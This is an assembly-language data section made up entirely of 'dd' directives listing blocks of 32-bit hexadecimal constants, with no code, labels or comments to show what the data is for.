dd 894F0A8h, 0E126DAF2h, 60345114h, 2EE99720h, 0E089193Fh
dd 49D80CECh, 4D3612D9h, 0CEAC0B3Eh, 2847EAAh, 0C0B3C41Ah
dd 8B4049A9h, 0C68FB374h, 0D3A46A8Dh, 0F3228D8h, 0E1904687h
dd 36BD70A2h, 0E64DEDE2h, 715A5044h, 0C0B75EB8h, 9BF7EA9Bh
dd 0B9D93766h, 5700C434h, 6E4977Ah, 0CB080384h, 1881F349h
dd 7B7938FBh, 5242A193h, 0CB55274Ch, 0CF16ACFEh, 1B673E9Eh
dd 0CCAA3C2Ch, 94BF283Ah, 403EF9BEh, 0A9B6C0F3h, 54AF9520h
dd 0D362D2E0h, 2E0EB7B1h, 5FDD5EB6h, 4A3D990Fh, 2A2EF1F0h
dd 4B2B8D72h, 740CE24Dh, 68E50EFAh, 0F508CC18h, 0D6FF2605h
dd 8D6F1D02h, 0D1ADE929h, 0EA39A97Eh, 87AC19A8h, 851A854Fh
dd 20FA1AE0h, 5DD1B6F4h, 93A4DD5Dh, 92FD2D35h, 9A5E2A26h
dd 31B32F3Ah, 0D4070F09h, 5BCE2CE0h, 77AD644h, 1BECD012h
dd 44B71F2Fh, 0C667A2FCh, 755138FBh, 56BC7AFFh, 714AEDE0h
dd 0D7C43500h, 0FB45264Bh, 304A6BFEh, 5D560B40h, 70883E29h
dd 959130F8h, 2B6FA06Eh, 7EE0B617h, 4BE02Fh, 0BF819186h
dd 45796FE4h, 4A46E88Ah, 0DC587754h, 7977C943h, 99DAF793h
dd 122C6303h, 3DBD51F1h, 17E0C7AFh, 0F907962Bh, 19D5A563h
dd 78AB5DA5h, 0E171FD58h, 0E707A0ACh, 0EB9768DFh, 31B4AC0Ah
dd 0E7AC2C68h, 0E78FBEDCh, 77C64F82h, 40D214F1h, 28A32F1Bh
dd 6C175D6Ch, 0B89984B3h, 560FFC16h, 408D404Bh, 5F927EACh
dd 0BC3124F5h, 4487CF50h, 88B766A8h, 0BD79BE9Bh, 0E15143AEh
dd 0BD97F9C3h, 8631249Eh, 0F085DF17h, 0C0AF4705h, 145BF1DFh
dd 7D67AE83h, 0A454FB62h, 23278153h, 6193A5h, 0DB1F90B9h
dd 10D3A5FCh, 7989CE19h, 0A8F5EBC6h, 0BEEA11BFh, 1958E8F2h
dd 63273BE4h, 135BA062h, 94D0AD6Dh, 826C7B02h, 0BA6E62D4h
dd 0FB89B9E2h, 59A3F757h, 52EA23BAh, 0FE2FE40Ch, 0B018F338h
dd 0E29A0BEBh, 3CC84CD9h, 0E5DE6F0Bh, 0A72D7EF6h, 0C77BB070h
dd 4D58C0E6h, 57373BFFh, 7BB35D54h, 6D94EF6Bh, 95B45ED8h
dd 9C585B13h, 32DE1A15h, 865A0AECh, 2E3F4C34h, 22572C79h
dd 0C344A067h, 9446F267h, 496A7B22h, 895310D5h, 4C17A6F4h
dd 8C3B5331h, 0B31E70A1h, 0DA548B98h, 0BB755953h, 0E3C6F6A6h
dd 0D750082Bh, 0D18AAC71h, 711FF2CCh, 783763CFh, 852C2FDFh
dd 5C7A3B90h, 0BC9E9400h, 55E92F01h, 22E9FE59h, 0A4A0A5CCh
dd 0BB083BD0h, 0A334BA7Fh, 31FF97C8h, 0EECF60h, 5E3415A2h
dd 169A88BEh, 40B7D669h, 2B78688Fh, 0E6F00B67h, 1490320Fh
dd 0ECA76ABCh, 8B375D57h, 0BA1EEA1Bh, 8082AA8Fh, 219B4E83h
dd 7F32BB1Ch, 0FCE0730Fh, 0BCBD7386h, 58785F69h, 7DD4235Ah
dd 0E68A67A5h, 87BEA2BDh, 894CA5A5h, 24336306h, 9DF60B90h
dd 0D57C4DC6h, 0D719F877h, 1B6F23D5h, 0D5A3DAFh, 4B366DA6h
dd 32E84B48h, 6D41F593h, 7FC9111Fh, 8343F8D5h, 6A173B0Ch
dd 7B5AFCCEh, 0AC5BDFA9h, 0B6952CF4h, 0E76FFB96h, 52EEC866h
dd 11A3A130h, 5B57D64Bh, 9CCB3A09h, 2C862BC2h, 94B7C354h
dd 3FCB21D6h, 87E4B8D6h, 0E9576C63h, 0CDBE30F1h, 0A0D6D8D5h
dd 72357CAEh, 40B7080h, 0B17FD243h, 28500D69h, 785798F2h
dd 495E67EDh, 0D1343139h, 4BFD1602h, 53B62960h, 0FB8B2BE7h
dd 7C68D29Ah, 68041152h, 6A81B24Ch, 0B2890EE8h, 120C121Ah
dd 95B37186h, 2922A1D9h, 8AF51ADDh, 92141C4Fh, 1A946AC2h
dd 0D2808B44h, 0FA0E3DB6h, 220334ABh, 0C1046BEFh, 2963D4CFh
dd 5F40FDB0h, 3792E1DEh, 0AAF96227h, 7B839366h, 0F0781C20h
dd 129624A3h, 0D628164h, 37678156h, 54798B9Bh, 6027156Dh
dd 1DCA8139h, 0BBDC905Fh, 6FC08DBBh, 9B58B4A1h, 7AAB45BAh
dd 4D6DF1AEh, 0B11740F0h, 240AC6A1h, 5E61E6FAh, 0A1E3DC63h
dd 72C26C72h, 4B67BBDFh, 54C5AD6Ch, 1C7E5EE2h, 10F7D114h
dd 8428543Dh, 0A1D3A9BDh, 98B2BE14h, 14AA0590h, 8D832E3Bh
dd 4148E0DDh, 1AEC6893h, 60DDFF37h, 0A04E8111h, 0DC7DB361h
dd 97F2AAFBh, 2443393h, 52CBCFFh, 8B7C23E4h, 0B9A38EB6h
dd 3A51073Ah, 0BAB684B7h, 0D673A479h, 592793C5h, 0CDAFE585h
dd 74F5F91Dh, 163A35A1h, 5D3430D7h, 6B359CF8h, 2A2DE2Bh
dd 0BC62B69Ch, 0E458A809h, 0C27D2DDh, 8EE78C03h, 33930306h
dd 0CFAE52C3h, 6FFD17EAh, 0B774F161h, 0A1493526h, 47F9E012h
dd 0E53415Fh, 0A2444D40h, 55FD1D85h, 49DA713Fh, 98CCBA77h
dd 6D73B779h, 3C83EEBDh, 9B3F5213h, 74E01D01h, 0E14395Ah
dd 0FC0063DCh, 411C3396h, 1E193DFh, 395489B5h, 5AB9D990h
dd 51B7CD32h, 0E2665CE1h, 4AFE856Ah, 18AA4D6Bh, 0C58CFE7Bh
dd 766AD58Fh, 889CA009h, 3EFFA501h, 0D7DEFDB0h, 0CE34F002h
dd 0E8AE97A9h, 75958747h, 0C63E4EEAh, 0A6080747h, 0BC390926h
dd 4A971C8Ch, 62BC972Ah, 4A9CEB65h, 64465FAFh, 0E44F995Eh
dd 41074A4h, 9BE21014h, 0AB3BC3D1h, 43895EB7h, 0CDD9FD55h
dd 0EFAFF85Ch, 0D0C1530Bh, 2FF2606Bh, 85E26F1Eh, 12B1AA29h
dd 6A787D33h, 0EE30440Bh, 0F8889DC4h, 14A6AAF9h, 22E343C2h
dd 8666A6E3h, 8687BCh, 6F633BF6h, 0C9854C57h, 381E38B7h
dd 0D13F6BDAh, 2BC30720h
dd 8DB16AC8h, 75030A54h, 9F07A861h, 49DACA1Eh, 0ED118869h
dd 0AED016D0h, 4EE35F96h, 95C82780h, 61A51CB6h, 0BDDDB2FCh
dd 0B32922F7h, 58A2045Ah, 24312E49h, 53D8C2F2h, 0BB639BB1h
dd 97B7D5E6h, 0E5E0ADCAh, 0C264391Ah, 79F8A44Fh, 748B4382h
dd 0F691BEA9h, 0FE84FF8Ch, 62A7865Fh, 0F02ACD0Ch, 0C5DA3D86h
dd 677054C4h, 4B3301B5h, 0F9D6CD2Eh, 45AA61D5h, 77EE0FBEh
dd 8C3D478Eh, 45612DD7h, 5F34C08Ah, 2BAB7575h, 594F1C50h
dd 0E81B9B88h, 94290F5Bh, 90078C55h, 6E4F8CA6h, 546A8813h
dd 0F302C1F1h, 0B3DE8F6h, 0E26B2A89h, 9D373549h, 46780967h
dd 928F9513h, 0A5BFD3Ch, 0EF615480h, 65F07617h, 51D9CAECh
dd 0C42D6C1h, 0D1D16CD7h, 0D7E6843Ah, 0A3152EB4h, 34C270B0h
dd 4C94FBE1h, 3172F37h, 9220E1F0h, 0C6AA2053h, 4C266676h
dd 0ACA3AF6h, 9665FDFh, 25C5A383h, 6FEDC431h, 7FA177D3h
dd 9489A676h, 6B05A029h, 959DA340h, 0E68F9BA4h, 0D5C82A28h
dd 0E8740EF1h, 8B6B0F05h, 0AB487994h, 44F01160h, 680C8558h
dd 43B2D921h, 4CDEC640h, 946943E5h, 0C98D0A3Ah, 4D2B83E2h
dd 17F13965h, 704DE2A9h, 79AACC34h, 890C0E16h, 0A55F059Fh
dd 0E7883F04h, 96AD623Eh, 3EBF455Dh, 0AA98E573h, 0C183C3Dh
dd 729320F0h, 121C60D8h, 0BA9C0B3Dh, 0CAD578Dh, 84215F8Eh
dd 0A5127BF7h, 3B35A397h, 1B42485Fh, 10A0514Ch, 0DD9BFC6Dh
dd 11465671h, 0FFDA5D99h, 393F1946h, 1A7A6144h, 34E250E9h
dd 8D098F8h, 0FD8697D8h, 0DDAC84C1h, 46D1B6FBh, 0E33EDA6Ch
dd 61FBC977h, 0FE476ABh, 0DA426E9Eh, 15E8FEF0h, 0B18AB9B8h
dd 7D3D2EDh, 4D740EAAh, 21950F8Bh, 442B7837h, 4998005Ch
dd 0CA240411h, 0AF6FE5A8h, 0F64FADDEh, 5666518Ch, 0E88C6383h
dd 32925653h, 96E4D84h, 95E7CE5Ch, 406B5C51h, 1F8ACD85h
dd 3813C3BEh, 1AC371B0h, 0A0CBB205h, 1167AA2Ah, 6CB4B54Ah
dd 0F681892Eh, 85B47D46h, 39EFD450h, 688146B9h, 0DFCE2223h
dd 649CEAE5h, 9E923785h, 0CFEB7A93h, 0E30A4F87h, 3667E007h
dd 0FC7B55F2h, 5D9A2716h, 2D90DBA5h, 1CEBE5FBh, 0B067B5EDh
dd 41F40B7h, 6349AC7Ah, 625DAE63h, 31899F88h, 899B7D3Dh
dd 71B8F038h, 0E6541557h, 0C6988554h, 67CC3E87h, 0EFFD3E3Ah
dd 7AF0D5E7h, 0F7E63DADh, 0BCAAD368h, 307E5BD1h, 0E7BEDC2Eh
dd 0BAEEA50h, 0B18DC1Dh, 882A0738h, 0A089F8CDh, 0D726D4B7h
dd 0A85D1578h, 5999B1E6h, 0B2FA6DDFh, 0FC1851BEh, 0EE50AFB4h
dd 528510F4h, 41FC4728h, 1A4F3DEDh, 6F4C60C5h, 0C6F100CDh
dd 18CF8C44h, 86D2A2A8h, 5DE9DD76h, 0DF3A4B21h, 0EF1BAE9h
dd 99DA956Fh, 6F129F8Ch, 700E81B0h, 6ABB5D7h, 62739DFh
dd 42DAFAEh, 26D129Dh, 357004C0h, 0FD80C3CAh, 39CF60DBh
dd 5B3E284h, 0F424F4FEh, 0BE3D4339h, 91C56D59h, 0EF36744Bh
dd 0AE41932Fh, 7741FCh, 0FA68D70Ah, 9940879h, 0EAD14047h
dd 6EDC05C5h, 0A47926D2h, 66273DA4h, 854E390Ch, 71434236h
dd 0F3C0698Eh, 0A1636B55h, 0B6AE48EFh, 0AB296571h, 0C9F58840h
dd 93BA0ACAh, 9D65AF8Eh, 3557E8ADh, 94101046h, 225447F7h
dd 0D3314E9Fh, 0BA987929h, 8B7B5A91h, 0FB5922FFh, 2DD0A4F0h
dd 0A753AF66h, 596BBF12h, 0C3392A00h, 326D3BB1h, 0A60C899Dh
dd 0CACEB07Ah, 10E8680Fh, 2B1C77E0h, 8FE13E0Eh, 3DF8F068h
dd 19B052CDh, 50322E33h, 8C4C725Dh, 0D8758468h, 9A6211DBh
dd 0C5FAA058h, 9BBD48Dh, 78FEF466h, 0FDC1DBC9h, 12DAC2EBh
dd 6EE8B112h, 107E21DCh, 3224685Ah, 9CA5AE6Fh, 90A0E0EEh
dd 22A11756h, 988958D5h, 0E1E111E5h, 19A04EEh, 9CA786DDh
dd 6507A36Ah, 7A9325A4h, 45BB04FFh, 0C4DF75A5h, 3613F21Eh
dd 44B5AE48h, 52ECF17Fh, 94D654C1h, 0DD934508h, 30AC5AEDh
dd 0EE8B1B39h, 0F2F9AF12h, 0E2873148h, 0FFCEACCDh, 0BAF8375Ah
dd 0E5006088h, 0B47B0AACh, 5652CD5Ch, 51FCCD83h, 0A66D83C5h
dd 790C7F32h, 0B3B95FF4h, 86A4C2A9h, 689FD28Ch, 9B332579h
dd 0D6783F6Fh, 319CAEF9h, 3CCF0732h, 0AA34BC1Eh, 1D5A4C5Eh
dd 3B996756h, 0AE9DC087h, 4476B6BFh, 0CC63E9FCh, 59A714F1h
dd 37791D59h, 0E640A98Dh, 30E27328h, 0F358839Bh, 79921972h
dd 46AB128Eh, 97189E4Ah, 32190B81h, 0F4539E71h, 83A4F503h
dd 89977BDFh, 0FD92194Eh, 5A02A7ABh, 0BA67ABFh, 0B26D811Bh
dd 885C3FCFh, 0D37F9E52h, 0F315014Ah, 5BEED2ADh, 6A62AA9Fh
dd 771EE5BDh, 283DD68Fh, 0ABA1C5B7h, 20217816h, 37B23AAEh
dd 16187B46h, 0BA41A755h, 0DB1AC997h, 3541BF1Ah, 595ADCC9h
dd 984D3742h, 3376487h, 253B01D8h, 96B78DBEh, 0AD946C90h
dd 0D183A899h, 6583752Ch, 312326DAh, 61D03022h, 9D268507h
dd 42ABB99h, 0B2E1CA23h, 84A51FCBh, 0A4DBED83h, 3FF5D39Ch
dd 1B841CDFh, 0B1C984B5h, 0E2AF8872h, 0B317250h, 0C75F888Ch
dd 9DE03FA4h, 94270DAAh, 30897A52h, 3857A3Eh, 716D9ECCh
dd 0B5902225h, 5BFDA9B1h, 1E824756h, 0DEC20195h, 0F4EFA34Ah
dd 223CC0BFh, 0CC72ADEh, 0C4B09035h, 8332E717h, 0DFA361B0h
dd 4CF86482h, 692E972Fh, 887DC4B6h, 0ECE6217Ah, 66BC34D7h
dd 65E444D5h, 0A6F5B1F0h, 4234B31h, 64F7BB3Ch, 5E8BEF35h
dd 8845906Eh, 630333B3h, 364CE4B4h, 0F09088B1h, 0CA47B8E7h
dd 0B1F75537h, 0E7880D6Ah, 7118E442h, 0CF05374h, 6381C91h
dd 48DA5128h, 0AA097952h, 771E1495h, 57735225h, 3D67A226h
dd 0EFAF4BB7h, 318BDA4Fh, 6EBDDD40h, 1E16AFC1h, 15F444D6h
dd 0E99B52ABh, 31782420h, 1439A6A1h, 7E9320FAh, 0C26BAC5Eh
dd 7389D4FCh, 0AD3AEC3Ch, 0A115C159h, 308CF06Ah, 0C4965364h
dd 80767F85h, 0EA24D655h, 63930B9Eh, 0F8E6BB7Eh, 618D7BD0h
dd 651A84F4h, 0F8079C8Eh, 175E3BBAh, 5013A25Ch, 965AA38Eh
dd 57848FB3h, 38A2B26Dh, 3DCDCFE8h, 52C02B53h, 8C9BA245h
dd 1A5A1093h, 3CCD34C7h, 1F4D4B7Bh, 254C7CAEh, 0D37F5728h
dd 3234675Eh, 0E7B8303Ah, 7DC59A4Dh, 4590CED3h, 0D190DEEAh
dd 647263FCh, 866A8629h, 82C1973Ch, 1668E100h, 696D0036h
dd 31CD5038h, 85CF8BE1h, 0C6AEC443h, 5A1CC63Bh, 73EF4E4h
dd 809FBABCh, 8035BDFAh, 31742728h, 1D13C0FFh, 0C95ED788h
dd 827A7294h, 0F9C4D28h, 23EF16B0h, 969142A2h, 6B5DCC55h
dd 2F8E69D5h, 272C425Fh, 0FE5F5496h, 0AAAF4D31h, 98488CC9h
dd 0E457C57Ah, 58BE4C47h, 949188F8h, 0CACAB4DDh, 1133B99h
dd 7E0E4003h, 0F7436F3h, 0EB5122CDh, 86693B3Ah, 27A49D93h
dd 911D3D9Ah, 0EEDE0911h, 0B4DBAC6Ah, 285B4FE5h, 35FBCEE5h
dd 7306FC3h, 0F59DCBFEh, 0EE8084Eh, 40B5725Eh, 3A3606ECh
dd 0E45D8130h, 24BC3774h, 39303175h, 0A49BD014h, 8629C6CDh
dd 3FE8F494h, 7C3BD917h, 3E67A94Fh, 0DD33E5FEh, 4AC186C5h
dd 0D2EBDE4Dh, 6DB8C4h, 0E39BAB71h, 74F32F72h, 5DC1026Ah
dd 9FB0C79Bh, 0C3BEFD48h, 6487161Ch, 8EECBFB1h, 82AD02EFh
dd 0FCB7F35Fh, 919F36D9h, 0F3674A82h, 0AEF3FE24h, 86589EF7h
dd 780F74D1h, 9B3E5927h, 42921C21h, 7F2817E4h, 0FFA08A32h
dd 0A2224680h, 232C3097h, 8BBAA8DFh, 531D0D7Dh, 9A026FA4h
dd 6214352Dh, 0E38053B2h, 44EB3128h, 0A5CF8C31h, 0D3BD9EDCh
dd 0C9A1667Bh, 31AA6FB1h, 6E893A59h, 0D279BC25h, 0AA6261A5h
dd 0D40B25C6h, 596A92BDh
dd 40D723C2h, 7686131Ah, 50EBA91h, 57035CBFh, 8CB6ABADh
dd 29D34560h, 3A9C03B0h, 9D61DA47h, 0BF2D89FAh, 171D9EB3h
dd 999D3D52h, 0ADBE89BEh, 896A7813h, 6B312292h, 8DE6420h
dd 2E1CCEE7h, 417D1E60h, 0D351EC26h, 44E6CB0Ah, 50393874h
dd 40E5E632h, 735F34Bh, 43273F65h, 51D0CF02h, 51810520h
dd 5E78D04Bh, 0F99858DCh, 5DE3B295h, 2387DA3Dh, 0A7880818h
dd 9BA62B31h, 85A53B61h, 6A379FAEh, 8EB7D37Dh, 89801A54h
dd 0D52BC16Eh, 0F2892A6Dh, 8D09C0EEh, 0F16D39DBh, 6E811FAh
dd 0CB54DB13h, 8A20C8B3h, 7A70E973h, 0B9D74D9Fh, 90F84BD3h
dd 0AD799B5Ch, 0CF81BA1h, 0A42EC3F1h, 0A3487BDh, 4040CD40h
dd 61D1AA02h, 0FFC5146Bh, 785EED2Dh, 0EE45C00Eh, 5E51A002h
dd 0DF53950Ch, 6BEC037Fh, 245E6D48h, 0B9B2865Bh, 0FA806A4Fh
dd 420159BBh, 17E14669h, 83418B09h, 5950055Bh, 42519E68h
dd 0EAE9A787h, 0D7FD0372h, 0D4FD036Ch, 43C0DC01h, 4F1E7655h
dd 0EFC1303Eh, 0C47E94FBh, 0BE3A9EE3h, 5FBC51ADh, 0B2FBB539h
dd 0CD1567C0h, 56EF17E9h, 4CA7D6Fh, 0BD791188h, 913727CBh
dd 576DDF3h, 0ACB9312Dh, 29202D4Ah, 0F07A16E7h, 0F644E09Eh
dd 0BF06F5E5h, 7C521477h, 11297F2Eh, 686378C3h, 2C26B579h
dd 0FFCF8CBBh, 9327FED0h, 39B33770h, 0F86B280Ch, 21C2212h
dd 6D08A0DBh, 1069A962h, 9A06B51Ch, 687ABDFCh, 8849831Dh
dd 0FA539F69h, 0ECC71F2Eh, 2857A412h, 0FC1C107Ch, 0AFBEA93Bh
dd 780AEF75h, 8315C8E3h, 2C9B3D16h, 0DA7BFCDBh, 48210FBh
dd 7C5BB5C8h, 88DB08EFh, 4106F8B2h, 0FE2EF672h, 71FAAF94h
dd 0CE570242h, 0F2EE75FFh, 53C35F01h, 29CC0F4Dh, 0CC36F448h
dd 12268F34h, 73F3E6F2h, 304342A9h, 0CE889C59h, 0D0A52394h
dd 0EBDBF904h, 48EC8513h, 6083D076h, 0D0610F8Fh, 12759039h
dd 463F67BAh, 0C36F6BBFh, 2A1CBE15h, 4B390961h, 0E57A05CCh
dd 7C890C8Fh, 5D9A90ADh, 7D9C495Bh, 0BF83AF3Bh, 8DEFACB4h
dd 0B24CDA59h, 15BBBEBDh, 8718EA3Ah, 4C0439A1h, 7A970CA0h
dd 9508CF8Bh, 57065E21h, 9FA498ACh, 0E60AFD03h, 899C9269h
dd 173BC8E9h, 3FAF9209h, 160AF48h, 0C221DBB4h, 0AA11A5D4h
dd 45416A7Eh, 8E7D3E1h, 0F03C663Dh, 2162BDE1h, 0B0930401h
dd 356BC5B3h, 5750B617h, 5310E6A5h, 661F33C1h, 4955C939h
dd 60CD8065h, 39344B3Fh, 2D5B04Ch, 24231621h, 0D71D27FBh
dd 5831C09Dh, 0E6D384BFh, 3A35A5BDh, 9766142Bh, 46CE1AACh
dd 704D726Bh, 6F5847A4h, 92812C79h, 0C2A7E7Fh, 0BFB31598h
dd 5D60FC2Dh, 9241427h, 0FE260562h, 0FA551900h, 0D0F55E61h
dd 0D135560Bh, 506C61C3h, 0C394627Eh, 2297E88Ch, 2745F038h
dd 0A5B8004Bh, 51FDA683h, 8ECE1BE6h, 0D76DA803h, 0FCAEB0D4h
dd 0C0284D0h, 0B1BFA1AAh, 0D40BCA3Bh, 2BD35A51h, 2FADCF4h
dd 83BC278Bh, 268DCB28h, 0CCF13520h, 37B0B62Dh, 0F445B93Eh
dd 99351632h, 43F240B7h, 75E8AACBh, 4EA0F1D7h, 7F177FCBh
dd 0FF91BC57h, 8100E13Ah, 6D557A58h, 0F1CEBF56h, 1AC406DCh
dd 0EBA544Eh, 2478624Bh, 85B71EC7h, 4AFABB1Ah, 472391A5h
dd 0A32BA225h, 9D876Eh, 7E120DDDh, 2B78033Dh, 0D620C48Bh
dd 0B83BE819h, 0E4C3C8B4h, 0FA82C2B0h, 55D3B83Bh, 0EE03D5F1h
dd 95897D44h, 5760F8EBh, 0EDF89C5Dh, 715CB2F6h, 72EB77FFh
dd 0D766A68Fh, 7C4AF6B1h, 0FD7E6EC5h, 1E10CE94h, 57AB56A1h
dd 0D776149Fh, 0EA5ADFE0h, 0E41A223Ch, 0E4A418DDh, 88086C0h
dd 64625AFDh, 0C70BF768h, 3ED5486Dh, 78EA67A3h, 8547CA9Bh
dd 9062A6B2h, 0BE751561h, 25F3BDAAh, 8E4188C8h, 2958D884h
dd 4585B63Eh, 58608115h, 7F2E7ACEh, 0F8B1D2A1h, 7776040Dh
dd 0FCEB7765h, 0A091E875h, 0E88D8CF4h, 0C54DC54Ch, 2073248Dh
dd 38694C8Fh, 7FF1CCD3h, 8CB535A9h, 2EC4F1FCh, 5320723Fh
dd 6E7103h, 2FD46A32h, 53D5E101h, 308DCFC8h, 78BA05Eh
dd 0FD4C8C18h, 0E6DCC610h, 5C0D28CFh, 2D042405h, 25CE50FDh
dd 0AD7A977h, 8CADA39Dh, 0E9F263FBh, 63215E88h, 5676E0Ah
dd 3E657485h, 10B92CC8h, 7077693Ah, 11D562E3h, 0FD64A22Ah
dd 46148CFEh, 83416F12h, 4D5D5ADDh, 0CD0A9C1Dh, 0ED2F4AF9h
dd 7951AB58h, 0AE30575Ch, 132D1CD7h, 778136Fh, 7B6C4E09h
dd 9EEABD81h, 1A695C6Ah, 671341F5h, 54CB843Ah, 0CAA2CF2Dh
dd 7C87ED40h, 79423B24h, 1C823497h, 95531887h, 22D9EE8Ah
dd 61A7255Ch, 0D9D8022Fh, 0B7FB6611h, 69B3A887h, 0EFF5ADD8h
dd 0D56D5DB6h, 20DE25B1h, 2724584Ah, 0D5845C43h, 21A440F9h
dd 5A90A5F9h, 40E2E716h, 317C73BCh, 2F239341h, 249C4047h
dd 4BC5469h, 2771328Ch, 22D4CFF2h, 0DA6FA5A5h, 0FE25EBA2h
dd 0EB1EF4E2h, 0F9B6ACF3h, 9DCCB6CEh, 1938438Ah, 783F7BE5h
dd 0B657EE34h, 9267B4DFh, 4CC2F7A7h, 50A851C9h, 417CA467h
dd 6F1EEBAEh, 277A6288h, 0C3490051h, 3440B9BFh, 8401C122h
dd 0FC192706h, 758CAE5Eh, 4F0F3A7Dh, 96B01CB6h, 95838BE3h
dd 9DB0BBF5h, 28C6FB20h, 90DC9877h, 0E0C5EB14h, 0F10D0210h
dd 5E7C23E5h, 660435E6h, 0FACD5EAEh, 0DAF08879h, 0D8C7FE49h
dd 29DB97AEh, 753EE72Ah, 0C7AAF29Dh, 59A2CE0Ch, 80A468BCh
dd 0AE28030Ch, 6C91547Ch, 482C5656h, 0E1075C56h, 0A17E6D3Bh
dd 76792579h, 6B74F6DDh, 722037A8h, 0B584A0B9h, 0D7F05370h
dd 21A5313Dh, 5870C915h, 0C4380218h, 9FBAF325h, 0D324B9C8h
dd 297E2F60h, 0CEC8AEABh, 15E41BCAh, 1D8E8520h, 64FA3454h
dd 15EF064Bh, 0E48C6DCFh, 0D866BD93h, 0D333F944h, 3E721FD0h
dd 1A9ED712h, 0C7CBEEFCh, 99A356F8h, 0F6D54E35h, 12EA31E6h
dd 0AD6E0896h, 6E7072D5h, 32B873E1h, 48D97278h, 0A978E570h
dd 0F7EC36FBh, 88BD1791h, 679684C8h, 624F20ADh, 47729BC6h
dd 0FDE10A49h, 0CB54D7E3h, 85579657h, 0CA00F975h, 75CDCA5Ch
dd 0A9FFE1B0h, 93B3D25Eh, 0E2941039h, 686A02B6h, 9639DD0Eh
dd 0D35C53B2h, 37B6B435h, 0E512A2CCh, 0F8C710D4h, 0A2CDEF0Bh
dd 5A21F3F3h, 68F22319h, 78DFA376h, 4A0B4916h, 1311AA27h
dd 1C4E9998h, 277EAE69h, 2454D5D2h, 0F0F737DFh, 0C23D8AEDh
dd 8934F0DFh, 0A7135B41h, 569CCBDAh, 1BD96854h, 8E195D7Bh
dd 57788AC4h, 0C14C806Ch, 0CEE1A444h, 7D595A86h, 79F3622h
dd 0F82AAA02h, 0FF978CA1h, 526914C5h, 0CD6FE0D6h, 0DAA6600Ah
dd 0D96E75E5h, 0CD968A60h, 6C6E5159h, 525EB0ABh, 63F7EDEh
dd 0DBEC8984h, 0FAB66D11h, 0D06DF4BFh, 0C30CD4h, 4BF9A845h
dd 4D4A6814h, 84E60BADh, 4DD6AC7Fh, 0DE8CAE6Ah, 0A1645FE2h
dd 0C79EDB9Ah, 0A3AEA489h, 0CCFCCBD4h, 6726ABC8h, 171A445Dh
dd 2BE5E84Bh, 9C61A3Ah, 93468393h, 0CA0FDA69h, 5693CD31h
dd 5F369730h, 5F5A6C29h, 878C688Fh, 5FA51E79h, 0C155E225h
dd 0CDC207C6h, 3A4B7907h, 3A45EFD9h, 0B148104Bh, 9E381E30h
dd 0F97A875Ah, 0C9B4000Ch, 2B087B5h, 47482A62h, 6572FB4h
dd 9971EFEh, 14D9ACC7h, 36C25052h, 290701C7h, 0F6A80EEDh
dd 48D2528Dh, 0E911EE38h, 1261B71Ch, 1A4A06FAh, 5D12508Eh
dd 0C83BEDFh, 0FDBECB1Ah, 573DE2A3h, 3A49D2C1h, 6E3A5Dh
dd 0B6D91D83h, 58FF14A1h, 346EF517h, 29D840F6h, 22C9DE70h
dd 92268F73h, 77DBDE6Eh, 0E1B67276h, 0C95D5039h, 0C8E9D096h
dd 0F84D0BD4h, 0C6E13994h
dd 9B491225h, 3B937C1Ch, 12404D4h, 0E8CD54F3h, 278061D1h
dd 961E464Eh, 88FB7D57h, 0CA5F9FCAh, 1D815647h, 0CAD02180h
dd 285E6A2Ch, 744065C1h, 0EBEB301Eh, 0FA0A8F21h, 69CC2646h
dd 808834FFh, 0E645582Eh, 6A901734h, 231387DDh, 54C30EA8h
dd 4E018EB2h, 0F551C73Dh, 3176CAC0h, 7BE16B26h, 8B8F9B97h
dd 0E8A4F9C5h, 4E721371h, 957CCCB1h, 0E01D11B3h, 0A2CB5DB6h
dd 0A49F1D83h, 327515A2h, 627864F5h, 0C02A2222h, 20BE0A4Ah
dd 2FF5638Ch, 0C02B77EAh, 86491A2Ah, 0B2813770h, 0BC44E464h
dd 2A6FD700h, 87A6D49Ch, 9EEF1FD3h, 271AE2FEh, 140890A3h
dd 0C2AC1DBBh, 0EE9A10B1h, 61C66A38h, 2916851Fh, 39525905h
dd 54F0116Bh, 6B360B9Bh, 16AD051Fh, 0F1871E22h, 746B721Fh
dd 0C294366h, 0E1E05F40h, 0C79C33BFh, 3FA235E3h, 9FDB1CB8h
dd 95B67A1Bh, 6C4DDEEAh, 7F5ED91Bh, 0D79E317Ah, 0B25B84BDh
dd 0E0A28711h, 0AA4157A6h, 7AB7174Fh, 946E5305h, 3B984A61h
dd 1B2B09C9h, 1E22817Eh, 86D90861h, 7DF1B9FBh, 0FD9ECE1Ch
dd 796AB429h, 93E9D9B2h, 0D8078E54h, 18780B70h, 77D862EFh
dd 17339C29h, 1F4229C8h, 0B61AAD9Bh, 16954277h, 9A84E17h
dd 0D4CAEF1Bh, 0D461A369h, 0A477550Eh, 9A377B60h, 0F99DA86Ch
dd 5AE9C45Ah, 429A2126h, 0E10C5D46h, 5F4B4181h, 414B158Bh
dd 0AF75632Eh, 50C7F7BFh, 64A526C9h, 1084F1CCh, 86606DECh
dd 43EFD38Ch, 0AF013025h, 0DBF12184h, 633BC622h, 71A20927h
dd 0E038B215h, 0FEAE0C1Bh, 0BDAE9DB6h, 11FDD073h, 0F33A502Bh
dd 1B516583h, 0AC36CD5Ch, 0ABFF2713h, 49C1D7B4h, 0C4A62F19h
dd 665E09EEh, 54847081h, 5B61B8A6h, 39989E96h, 1F2ED5C7h
dd 312582F6h, 0F2DFE992h, 0CD75640Fh, 833ABECFh, 0D34AA28Eh
dd 97D52E1Eh, 31E6D9E8h, 0DAF58842h, 0FAA2683Dh, 224E4ACDh
dd 0F53B6043h, 2E7EAFFEh, 0CF99EFC5h, 64E9A246h, 0C53E102Ch
dd 0BEF0C87h, 0DE547902h, 339AD5C1h, 122F905h, 0D4C18BA9h
dd 9DE5667Dh, 964AD6CEh, 43B39CBAh, 96B6FA9Ah, 0E4589423h
dd 12AF3E1Bh, 0F2EBADEFh, 0E7BDBFADh, 0CD07FD05h, 0FC1D69E1h
dd 47410EDCh, 90E2A6A5h, 0F0D7E1FCh, 0E66799F6h, 0B05A52B5h
dd 62A3DBEh, 4C204371h, 0B1DFE312h, 0FA09AC64h, 665D4F7Fh
dd 0BFF5BB68h, 87181ED0h, 0D2DC4182h, 86F2305Bh, 0F244344Ah
dd 6F8828AEh, 0DEF3B825h, 970FF132h, 741F9AF0h, 0AE5F9057h
dd 0E46DFF1Ah, 54E4345Eh, 0DF440E0Bh, 5030A1FDh, 443A94B4h
dd 4BF1C8DBh, 94C0DBB9h, 47F2569h, 9ED9F5Bh, 9E6214E4h
